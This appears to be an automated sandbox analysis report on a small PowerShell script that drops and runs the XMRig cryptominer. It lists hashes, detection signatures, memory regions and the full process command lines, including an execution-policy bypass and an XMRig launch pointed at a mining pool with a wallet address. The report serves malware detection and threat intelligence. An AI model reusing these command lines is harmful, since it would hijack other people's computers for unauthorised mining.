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27/05/2024, 18:28

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240527-w4c4xsed52

Analysis

  • max time kernel
    1798s
  • max time network
    1780s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    25/05/2024, 15:44

General

  • Target

    file01 - copia (6).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (6).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1636
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5000

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tf142s41.bwa.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

          Filesize

          9.1MB

          MD5

          205ad9eb6acd6f58752899669b69fe74

          SHA1

          bedb78ac5034259b86c2cbc915de2e861e8d7604

          SHA256

          2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda

          SHA512

          28309f453ae87e8db8c1667d8d8eee5f5f7035372c027afbec48aa3c798c53ade7cfcec0c9575cad2d108e033395ebde4fda6fcfff72c99944119f8fa91d91c3

        • memory/1636-0-0x00007FFDFC353000-0x00007FFDFC355000-memory.dmp

          Filesize

          8KB

        • memory/1636-9-0x000001FA9EE10000-0x000001FA9EE32000-memory.dmp

          Filesize

          136KB

        • memory/1636-10-0x00007FFDFC350000-0x00007FFDFCE12000-memory.dmp

          Filesize

          10.8MB

        • memory/1636-11-0x00007FFDFC350000-0x00007FFDFCE12000-memory.dmp

          Filesize

          10.8MB

        • memory/1636-12-0x00007FFDFC350000-0x00007FFDFCE12000-memory.dmp

          Filesize

          10.8MB

        • memory/1636-14-0x000001FA9EEB0000-0x000001FA9EEC2000-memory.dmp

          Filesize

          72KB

        • memory/1636-15-0x000001FA9EEA0000-0x000001FA9EEAA000-memory.dmp

          Filesize

          40KB

        • memory/1636-49-0x00007FFDFC353000-0x00007FFDFC355000-memory.dmp

          Filesize

          8KB

        • memory/1636-50-0x00007FFDFC350000-0x00007FFDFCE12000-memory.dmp

          Filesize

          10.8MB

        • memory/5000-46-0x000002A09B6B0000-0x000002A09B6D0000-memory.dmp

          Filesize

          128KB

        • memory/5000-47-0x000002A09CFC0000-0x000002A09CFE0000-memory.dmp

          Filesize

          128KB

        • memory/5000-48-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-52-0x000002A09D000000-0x000002A09D020000-memory.dmp

          Filesize

          128KB

        • memory/5000-51-0x000002A09CFE0000-0x000002A09D000000-memory.dmp

          Filesize

          128KB

        • memory/5000-53-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-54-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-55-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-57-0x000002A09D000000-0x000002A09D020000-memory.dmp

          Filesize

          128KB

        • memory/5000-56-0x000002A09CFE0000-0x000002A09D000000-memory.dmp

          Filesize

          128KB

        • memory/5000-58-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-59-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-60-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-61-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-62-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-63-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-64-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-65-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-66-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-67-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-68-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-69-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-70-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-71-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-72-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-73-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-74-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-75-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-76-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-77-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-78-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-79-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-80-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-81-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-82-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-83-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-84-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-85-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-86-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-87-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-88-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-89-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-90-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-91-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-92-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-93-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-94-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-95-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-96-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-97-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-98-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-99-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-100-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-101-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-102-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-103-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-104-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-105-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-106-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-107-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-108-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-109-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-110-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-111-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-112-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-113-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-114-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-115-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB

        • memory/5000-116-0x00007FF78D160000-0x00007FF78DD93000-memory.dmp

          Filesize

          12.2MB